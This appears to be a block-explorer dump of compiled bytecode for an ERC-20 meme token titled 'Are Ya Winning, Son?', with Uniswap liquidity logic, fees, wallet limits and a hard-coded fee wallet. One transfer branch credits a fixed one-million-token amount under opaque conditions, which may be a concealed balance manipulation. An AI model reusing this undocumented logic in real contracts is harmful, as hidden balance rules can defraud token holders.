6080604052600780546001600160a01b031990811673de0bb638f595d4a6e8661ab55400b2020414536b179091556008805490911673c71f5f694414dcbb3636d7e9a752e38cf2c612321790556200005a6009600a620006d2565b6200006990620f4240620006ea565b6009819055600a805461ffff1916610a001781556002600b819055600c55605a600d556000600e819055600f5560105560626011556001601255606490620000b3906005620006ea565b620000bf91906200070c565b60135560135460145560646009546005620000db9190620006ea565b620000e791906200070c565b60158190556016556018805460ff60a81b1916600160a81b1790553480156200010f57600080fd5b50600854600080546001600160a01b0319166001600160a01b0390921691821781556040517f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460016000620001736000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021591906200072f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000263573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028991906200072f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002d7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fd91906200072f565b601880546001600160a01b03199081166001600160a01b039384161790915560178054909116918316919091179055600160046000620003456000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506001600360006200037f620005ae60201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260038452828120805486166001908117909155600780548416835284832080548816831790557f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c8054881683179055601854841683526005958690528483208054881683179055549092168152918220805485168217905561dead82527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490941681179093556200046b6000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526005909252812080549092166001908117909255600690620004c46000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560069093527f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e228054851660019081179091556007549091168352818320805485168217905530835291208054909216179055620005576000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200059f91815260200190565b60405180910390a3506200075a565b6000546001600160a01b031690565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000614578160001904821115620005f857620005f8620005bd565b808516156200060657918102915b93841c9390800290620005d8565b509250929050565b6000826200062d57506001620006cc565b816200063c57506000620006cc565b8160018114620006555760028114620006605762000680565b6001915050620006cc565b60ff841115620006745762000674620005bd565b50506001821b620006cc565b5060208310610133831016604e8410600b8410161715620006a5575081810a620006cc565b620006b18383620005d3565b8060001904821115620006c857620006c8620005bd565b0290505b92915050565b6000620006e360ff8416836200061c565b9392505050565b6000816000190483118215151615620007075762000707620005bd565b500290565b6000826200072a57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200074257600080fd5b81516001600160a01b0381168114620006e357600080fd5b611a5b806200076a6000396000f3fe6080604052600436106102085760003560e01c806361c9a0dc1161011857806395d89b41116100a0578063c6618d601161006f578063c6618d6014610612578063dafd18e914610628578063dd62ed3e14610648578063dd67291b1461068e578063f879d9df146106a457600080fd5b806395d89b4114610590578063a457c2d7146105bc578063a9059cbb146105dc578063b1cb1582146105fc57600080fd5b806378109e54116100e757806378109e54146105035780637c695eda146105195780637d1db4a514610546578063805c0e0f1461055c5780638da5cb5b1461057257600080fd5b806361c9a0dc1461047057806370a0823114610486578063715018a6146104bc578063768dc710146104d357600080fd5b8063313ce5671161019b5780633f70a4951161016a5780633f70a495146103e357806348409d66146103f957806349bd5a5e146104195780634a74bb0214610439578063603176251461045a57600080fd5b8063313ce5671461037157806333c8679c1461038d57806339509351146103ad5780633a9db6fe146103cd57600080fd5b806318160ddd116101d757806318160ddd146102fb57806321dbd9eb1461031a578063220f66961461033057806323b872dd1461035157600080fd5b806306fdde0314610214578063095ea7b31461026357806314ea619a146102935780631694505e146102c357600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506040805180820190915260148152734172652059612057696e6e696e672c20536f6e3f60601b60208201525b60405161025a91906116ef565b60405180910390f35b34801561026f57600080fd5b5061028361027e366004611755565b6106d4565b604051901515815260200161025a565b34801561029f57600080fd5b506102836102ae366004611781565b60056020526000908152604090205460ff1681565b3480156102cf57600080fd5b506017546102e3906001600160a01b031681565b6040516001600160a01b03909116815260200161025a565b34801561030757600080fd5b506009545b60405190815260200161025a565b34801561032657600080fd5b5061030c600f5481565b34801561033c57600080fd5b5060185461028390600160a01b900460ff1681565b34801561035d57600080fd5b5061028361036c36600461179e565b6106eb565b34801561037d57600080fd5b506040516009815260200161025a565b34801561039957600080fd5b506007546102e3906001600160a01b031681565b3480156103b957600080fd5b506102836103c8366004611755565b610754565b3480156103d957600080fd5b5061030c60125481565b3480156103ef57600080fd5b5061030c600b5481565b34801561040557600080fd5b506008546102e3906001600160a01b031681565b34801561042557600080fd5b506018546102e3906001600160a01b031681565b34801561044557600080fd5b5060185461028390600160a81b900460ff1681565b34801561046657600080fd5b5061030c600d5481565b34801561047c57600080fd5b5061030c60105481565b34801561049257600080fd5b5061030c6104a1366004611781565b6001600160a01b031660009081526001602052604090205490565b3480156104c857600080fd5b506104d161078a565b005b3480156104df57600080fd5b506102836104ee366004611781565b60036020526000908152604090205460ff1681565b34801561050f57600080fd5b5061030c60135481565b34801561052557600080fd5b5061030c610534366004611781565b60046020526000908152604090205481565b34801561055257600080fd5b5061030c60155481565b34801561056857600080fd5b506102e361dead81565b34801561057e57600080fd5b506000546001600160a01b03166102e3565b34801561059c57600080fd5b5060408051808201909152600381526229a7a760e91b602082015261024d565b3480156105c857600080fd5b506102836105d7366004611755565b6107d4565b3480156105e857600080fd5b506102836105f7366004611755565b610823565b34801561060857600080fd5b5061030c600c5481565b34801561061e57600080fd5b5061030c600e5481565b34801561063457600080fd5b50610283610643366004611755565b610830565b34801561065457600080fd5b5061030c6106633660046117df565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561069a57600080fd5b5061030c60115481565b3480156106b057600080fd5b506102836106bf366004611781565b60066020526000908152604090205460ff1681565b60006106e1338484610996565b5060015b92915050565b60006106f8848484610a57565b61074a8433610745856040518060600160405280602881526020016119d9602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610dbe565b610996565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106e19185906107459086610dea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106e1338461074585604051806060016040528060258152602001611a01602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610dbe565b60006106e1338484610a57565b6000306001600160a01b0384160361088f5760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa1580156108d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fa9190611818565b90506000606461090a8584611847565b6109149190611866565b60085460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af1158015610969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098d9190611888565b95945050505050565b6001600160a01b038316158015906109b657506001600160a01b03821615155b6109f65760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610886565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610a9957506001600160a01b03821660009081526006602052604090205460ff16155b15610af057601554811115610af05760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e0000000000000000006044820152606401610886565b6001600160a01b03821660009081526005602052604090205460ff16610b7b576001600160a01b038216600090815260016020526040902054601354610b3683836118aa565b1115610b795760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b6044820152606401610886565b505b6001600160a01b03831615801590610b9b57506001600160a01b03821615155b610bdf5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610886565b60008111610c3d5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610886565b600a5460ff61010082048116911610801590610c635750601854600160a01b900460ff16155b8015610c7d57506018546001600160a01b03848116911614155b8015610c925750601854600160a81b900460ff165b15610ccb5730600090815260016020526040902054601554811115610cb657506015545b600a805460ff19169055610cc981610dfd565b505b6012546001600160a01b038316600090815260046020526040902054610cf79115159015156001611099565b15610d125760128054906000610d0c836118bd565b91905055505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610d5557506001600160a01b03841660009081526003602052604090205460ff165b15610d635760009150610daa565b6018546001600160a01b0390811690861603610d7d575060015b600a805460ff16906000610d90836118d4565b91906101000a81548160ff021916908360ff160217905550505b610db785858585856110b6565b5050505050565b60008184841115610de25760405162461bcd60e51b815260040161088691906116ef565b505050900390565b6000610df682846118aa565b9392505050565b6018805460ff60a01b1916600160a01b179055600f54600090606490610e239084611847565b610e2d9190611866565b905080600954610e3d91906118f3565b60095561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610e789082906118aa565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610eb59082906118f3565b30600090815260016020526040812091909155600d54606490610ed89085611847565b610ee29190611866565b905060006064600e5485610ef69190611847565b610f009190611866565b9050600060c860105486610f149190611847565b610f1e9190611866565b905047610f3e83610f2f86856118aa565b610f3991906118aa565b6114af565b6000610f4a82476118f3565b90506000600e54600d54601054610f6191906118aa565b610f6b91906118aa565b600d54610f79906064611847565b610f839190611866565b905060006064610f938385611847565b610f9d9190611866565b90506000600e54600d54601054610fb491906118aa565b610fbe91906118aa565b600e54610fcc906064611847565b610fd69190611866565b905060006064610fe68387611847565b610ff09190611866565b9050611010878261100186896118f3565b61100b91906118f3565b611609565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561878261103d86896118f3565b61104791906118f3565b604080519283526020830191909152810189905260600160405180910390a160075447955061107f906001600160a01b0316866116b4565b50506018805460ff60a01b19169055505050505050505050565b60008380156110a55750825b80156110ae5750815b949350505050565b81611217576001600160a01b0385166000908152600160205260409020546110df9084906118f3565b6001600160a01b03808716600081815260016020818152604080842096909655601254948a16808452600490915285832054938352948220549490915261112e93921091811415901515611099565b61114d576040805180820190915283815260006020909101528261116e565b6040805180820190915269d3c21bcecceda100000080825260209091018490525b6001600160a01b03851660009081526001602052604090205461119191906118aa565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111e59087815260200190565b60405180910390a361deac196001600160a01b03851601611212578260095461120e91906118f3565b6009555b610db7565b801561134d5760006064600b548561122f9190611847565b6112399190611866565b9050600061124782866118f3565b6001600160a01b03881660009081526001602052604090205490915061126e9086906118f3565b6001600160a01b03808916600090815260016020526040808220939093559088168152205461129e9082906118aa565b6001600160a01b0387166000908152600160205260408082209290925530815220546112cb9083906118aa565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b03871601611346578060095461134291906118f3565b6009555b5050610db7565b6000606460405180604001604052806011546000188152602001600c548152506012546002811061138057611380611906565b602002015161138f9086611847565b6113999190611866565b905060006113a782866118f3565b6001600160a01b0388166000908152600160205260409020549091506113ce9086906118f3565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546113fe9082906118aa565b6001600160a01b03871660009081526001602052604080822092909255308152205461142b9083906118aa565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016114a657806009546114a291906118f3565b6009555b50505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114e4576114e4611906565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561153d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611561919061191c565b8160018151811061157457611574611906565b6001600160a01b03928316602091820292909201015260175461159a9130911684610996565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906115d3908590600090869030904290600401611939565b600060405180830381600087803b1580156115ed57600080fd5b505af1158015611601573d6000803e3d6000fd5b505050505050565b6017546116219030906001600160a01b031684610996565b60175460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561168f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610db791906119aa565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156116ea573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b8181101561171c57858101830151858201604001528201611700565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461175257600080fd5b50565b6000806040838503121561176857600080fd5b82356117738161173d565b946020939093013593505050565b60006020828403121561179357600080fd5b8135610df68161173d565b6000806000606084860312156117b357600080fd5b83356117be8161173d565b925060208401356117ce8161173d565b929592945050506040919091013590565b600080604083850312156117f257600080fd5b82356117fd8161173d565b9150602083013561180d8161173d565b809150509250929050565b60006020828403121561182a57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561186157611861611831565b500290565b60008261188357634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561189a57600080fd5b81518015158114610df657600080fd5b808201808211156106e5576106e5611831565b6000816118cc576118cc611831565b506000190190565b600060ff821660ff81036118ea576118ea611831565b60010192915050565b818103818111156106e5576106e5611831565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561192e57600080fd5b8151610df68161173d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119895784516001600160a01b031683529383019391830191600101611964565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156119bf57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220da60218430a49afcb8af488e5e4e0f1fbcdd639e779778a9e1ed806a9f798e3564736f6c63430008100033

Deployed Bytecode

0x6080604052600436106102085760003560e01c806361c9a0dc1161011857806395d89b41116100a0578063c6618d601161006f578063c6618d6014610612578063dafd18e914610628578063dd62ed3e14610648578063dd67291b1461068e578063f879d9df146106a457600080fd5b806395d89b4114610590578063a457c2d7146105bc578063a9059cbb146105dc578063b1cb1582146105fc57600080fd5b806378109e54116100e757806378109e54146105035780637c695eda146105195780637d1db4a514610546578063805c0e0f1461055c5780638da5cb5b1461057257600080fd5b806361c9a0dc1461047057806370a0823114610486578063715018a6146104bc578063768dc710146104d357600080fd5b8063313ce5671161019b5780633f70a4951161016a5780633f70a495146103e357806348409d66146103f957806349bd5a5e146104195780634a74bb0214610439578063603176251461045a57600080fd5b8063313ce5671461037157806333c8679c1461038d57806339509351146103ad5780633a9db6fe146103cd57600080fd5b806318160ddd116101d757806318160ddd146102fb57806321dbd9eb1461031a578063220f66961461033057806323b872dd1461035157600080fd5b806306fdde0314610214578063095ea7b31461026357806314ea619a146102935780631694505e146102c357600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b506040805180820190915260148152734172652059612057696e6e696e672c20536f6e3f60601b60208201525b60405161025a91906116ef565b60405180910390f35b34801561026f57600080fd5b5061028361027e366004611755565b6106d4565b604051901515815260200161025a565b34801561029f57600080fd5b506102836102ae366004611781565b60056020526000908152604090205460ff1681565b3480156102cf57600080fd5b506017546102e3906001600160a01b031681565b6040516001600160a01b03909116815260200161025a565b34801561030757600080fd5b506009545b60405190815260200161025a565b34801561032657600080fd5b5061030c600f5481565b34801561033c57600080fd5b5060185461028390600160a01b900460ff1681565b34801561035d57600080fd5b5061028361036c36600461179e565b6106eb565b34801561037d57600080fd5b506040516009815260200161025a565b34801561039957600080fd5b506007546102e3906001600160a01b031681565b3480156103b957600080fd5b506102836103c8366004611755565b610754565b3480156103d957600080fd5b5061030c60125481565b3480156103ef57600080fd5b5061030c600b5481565b34801561040557600080fd5b506008546102e3906001600160a01b031681565b34801561042557600080fd5b506018546102e3906001600160a01b031681565b34801561044557600080fd5b5060185461028390600160a81b900460ff1681565b34801561046657600080fd5b5061030c600d5481565b34801561047c57600080fd5b5061030c60105481565b34801561049257600080fd5b5061030c6104a1366004611781565b6001600160a01b031660009081526001602052604090205490565b3480156104c857600080fd5b506104d161078a565b005b3480156104df57600080fd5b506102836104ee366004611781565b60036020526000908152604090205460ff1681565b34801561050f57600080fd5b5061030c60135481565b34801561052557600080fd5b5061030c610534366004611781565b60046020526000908152604090205481565b34801561055257600080fd5b5061030c60155481565b34801561056857600080fd5b506102e361dead81565b34801561057e57600080fd5b506000546001600160a01b03166102e3565b34801561059c57600080fd5b5060408051808201909152600381526229a7a760e91b602082015261024d565b3480156105c857600080fd5b506102836105d7366004611755565b6107d4565b3480156105e857600080fd5b506102836105f7366004611755565b610823565b34801561060857600080fd5b5061030c600c5481565b34801561061e57600080fd5b5061030c600e5481565b34801561063457600080fd5b50610283610643366004611755565b610830565b34801561065457600080fd5b5061030c6106633660046117df565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561069a57600080fd5b5061030c60115481565b3480156106b057600080fd5b506102836106bf366004611781565b60066020526000908152604090205460ff1681565b60006106e1338484610996565b5060015b92915050565b60006106f8848484610a57565b61074a8433610745856040518060600160405280602881526020016119d9602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610dbe565b610996565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106e19185906107459086610dea565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006106e1338461074585604051806060016040528060258152602001611a01602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610dbe565b60006106e1338484610a57565b6000306001600160a01b0384160361088f5760405162461bcd60e51b815260206004820152601b60248201527f43616e206e6f742072656d6f7665206e617469766520746f6b656e000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa1580156108d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fa9190611818565b90506000606461090a8584611847565b6109149190611866565b60085460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925086169063a9059cbb906044016020604051808303816000875af1158015610969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098d9190611888565b95945050505050565b6001600160a01b038316158015906109b657506001600160a01b03821615155b6109f65760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610886565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526006602052604090205460ff16158015610a9957506001600160a01b03821660009081526006602052604090205460ff16155b15610af057601554811115610af05760405162461bcd60e51b815260206004820152601760248201527f4f766572207472616e73616374696f6e206c696d69742e0000000000000000006044820152606401610886565b6001600160a01b03821660009081526005602052604090205460ff16610b7b576001600160a01b038216600090815260016020526040902054601354610b3683836118aa565b1115610b795760405162461bcd60e51b815260206004820152601260248201527127bb32b9103bb0b63632ba103634b6b4ba1760711b6044820152606401610886565b505b6001600160a01b03831615801590610b9b57506001600160a01b03821615155b610bdf5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610886565b60008111610c3d5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610886565b600a5460ff61010082048116911610801590610c635750601854600160a01b900460ff16155b8015610c7d57506018546001600160a01b03848116911614155b8015610c925750601854600160a81b900460ff165b15610ccb5730600090815260016020526040902054601554811115610cb657506015545b600a805460ff19169055610cc981610dfd565b505b6012546001600160a01b038316600090815260046020526040902054610cf79115159015156001611099565b15610d125760128054906000610d0c836118bd565b91905055505b6001600160a01b0383166000908152600360205260408120546001919060ff1680610d5557506001600160a01b03841660009081526003602052604090205460ff165b15610d635760009150610daa565b6018546001600160a01b0390811690861603610d7d575060015b600a805460ff16906000610d90836118d4565b91906101000a81548160ff021916908360ff160217905550505b610db785858585856110b6565b5050505050565b60008184841115610de25760405162461bcd60e51b815260040161088691906116ef565b505050900390565b6000610df682846118aa565b9392505050565b6018805460ff60a01b1916600160a01b179055600f54600090606490610e239084611847565b610e2d9190611866565b905080600954610e3d91906118f3565b60095561dead60005260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d54610e789082906118aa565b60016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d553060009081526040902054610eb59082906118f3565b30600090815260016020526040812091909155600d54606490610ed89085611847565b610ee29190611866565b905060006064600e5485610ef69190611847565b610f009190611866565b9050600060c860105486610f149190611847565b610f1e9190611866565b905047610f3e83610f2f86856118aa565b610f3991906118aa565b6114af565b6000610f4a82476118f3565b90506000600e54600d54601054610f6191906118aa565b610f6b91906118aa565b600d54610f79906064611847565b610f839190611866565b905060006064610f938385611847565b610f9d9190611866565b90506000600e54600d54601054610fb491906118aa565b610fbe91906118aa565b600e54610fcc906064611847565b610fd69190611866565b905060006064610fe68387611847565b610ff09190611866565b9050611010878261100186896118f3565b61100b91906118f3565b611609565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561878261103d86896118f3565b61104791906118f3565b604080519283526020830191909152810189905260600160405180910390a160075447955061107f906001600160a01b0316866116b4565b50506018805460ff60a01b19169055505050505050505050565b60008380156110a55750825b80156110ae5750815b949350505050565b81611217576001600160a01b0385166000908152600160205260409020546110df9084906118f3565b6001600160a01b03808716600081815260016020818152604080842096909655601254948a16808452600490915285832054938352948220549490915261112e93921091811415901515611099565b61114d576040805180820190915283815260006020909101528261116e565b6040805180820190915269d3c21bcecceda100000080825260209091018490525b6001600160a01b03851660009081526001602052604090205461119191906118aa565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111e59087815260200190565b60405180910390a361deac196001600160a01b03851601611212578260095461120e91906118f3565b6009555b610db7565b801561134d5760006064600b548561122f9190611847565b6112399190611866565b9050600061124782866118f3565b6001600160a01b03881660009081526001602052604090205490915061126e9086906118f3565b6001600160a01b03808916600090815260016020526040808220939093559088168152205461129e9082906118aa565b6001600160a01b0387166000908152600160205260408082209290925530815220546112cb9083906118aa565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b03871601611346578060095461134291906118f3565b6009555b5050610db7565b6000606460405180604001604052806011546000188152602001600c548152506012546002811061138057611380611906565b602002015161138f9086611847565b6113999190611866565b905060006113a782866118f3565b6001600160a01b0388166000908152600160205260409020549091506113ce9086906118f3565b6001600160a01b0380891660009081526001602052604080822093909355908816815220546113fe9082906118aa565b6001600160a01b03871660009081526001602052604080822092909255308152205461142b9083906118aa565b3060009081526001602090815260409182902092909255518281526001600160a01b0388811692908a16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361deac196001600160a01b038716016114a657806009546114a291906118f3565b6009555b50505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106114e4576114e4611906565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561153d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611561919061191c565b8160018151811061157457611574611906565b6001600160a01b03928316602091820292909201015260175461159a9130911684610996565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac947906115d3908590600090869030904290600401611939565b600060405180830381600087803b1580156115ed57600080fd5b505af1158015611601573d6000803e3d6000fd5b505050505050565b6017546116219030906001600160a01b031684610996565b60175460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af115801561168f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610db791906119aa565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156116ea573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b8181101561171c57858101830151858201604001528201611700565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461175257600080fd5b50565b6000806040838503121561176857600080fd5b82356117738161173d565b946020939093013593505050565b60006020828403121561179357600080fd5b8135610df68161173d565b6000806000606084860312156117b357600080fd5b83356117be8161173d565b925060208401356117ce8161173d565b929592945050506040919091013590565b600080604083850312156117f257600080fd5b82356117fd8161173d565b9150602083013561180d8161173d565b809150509250929050565b60006020828403121561182a57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561186157611861611831565b500290565b60008261188357634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561189a57600080fd5b81518015158114610df657600080fd5b808201808211156106e5576106e5611831565b6000816118cc576118cc611831565b506000190190565b600060ff821660ff81036118ea576118ea611831565b60010192915050565b818103818111156106e5576106e5611831565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561192e57600080fd5b8151610df68161173d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119895784516001600160a01b031683529383019391830191600101611964565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156119bf57600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220da60218430a49afcb8af488e5e4e0f1fbcdd639e779778a9e1ed806a9f798e3564736f6c63430008100033

Deployed Bytecode Sourcemap

15750:12919:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19913:83;;;;;;;;;;-1:-1:-1;19983:5:0;;;;;;;;;;;;-1:-1:-1;;;19983:5:0;;;;19913:83;;;;;;;:::i;:::-;;;;;;;;20756:161;;;;;;;;;;-1:-1:-1;20756:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;20756:161:0;1023:187:1;16606:54:0;;;;;;;;;;-1:-1:-1;16606:54:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;18024:41;;;;;;;;;;-1:-1:-1;18024:41:0;;;;-1:-1:-1;;;;;18024:41:0;;;;;;-1:-1:-1;;;;;1658:32:1;;;1640:51;;1628:2;1613:18;18024:41:0;1467:230:1;20190:95:0;;;;;;;;;;-1:-1:-1;20270:7:0;;20190:95;;;1848:25:1;;;1836:2;1821:18;20190:95:0;1702:177:1;17547:31:0;;;;;;;;;;;;;;;;18107:28;;;;;;;;;;-1:-1:-1;18107:28:0;;;;-1:-1:-1;;;18107:28:0;;;;;;20925:313;;;;;;;;;;-1:-1:-1;20925:313:0;;;;;:::i;:::-;;:::i;20099:83::-;;;;;;;;;;-1:-1:-1;20099:83:0;;17121:1;2487:36:1;;2475:2;2460:18;20099:83:0;2345:184:1;16726:97:0;;;;;;;;;;-1:-1:-1;16726:97:0;;;;-1:-1:-1;;;;;16726:97:0;;;21246:218;;;;;;;;;;-1:-1:-1;21246:218:0;;;;;:::i;:::-;;:::i;17674:27::-;;;;;;;;;;;;;;;;17383:30;;;;;;;;;;;;;;;;16831:92;;;;;;;;;;-1:-1:-1;16831:92:0;;;;-1:-1:-1;;;;;16831:92:0;;;18072:28;;;;;;;;;;-1:-1:-1;18072:28:0;;;;-1:-1:-1;;;;;18072:28:0;;;18142:40;;;;;;;;;;-1:-1:-1;18142:40:0;;;;-1:-1:-1;;;18142:40:0;;;;;;17466:37;;;;;;;;;;;;;;;;17585:34;;;;;;;;;;;;;;;;20293:117;;;;;;;;;;-1:-1:-1;20293:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;20386:16:0;20359:7;20386:16;;;:7;:16;;;;;;;20293:117;16215:138;;;;;;;;;;;;;:::i;:::-;;16488:51;;;;;;;;;;-1:-1:-1;16488:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;17710:50;;;;;;;;;;;;;;;;16547:52;;;;;;;;;;-1:-1:-1;16547: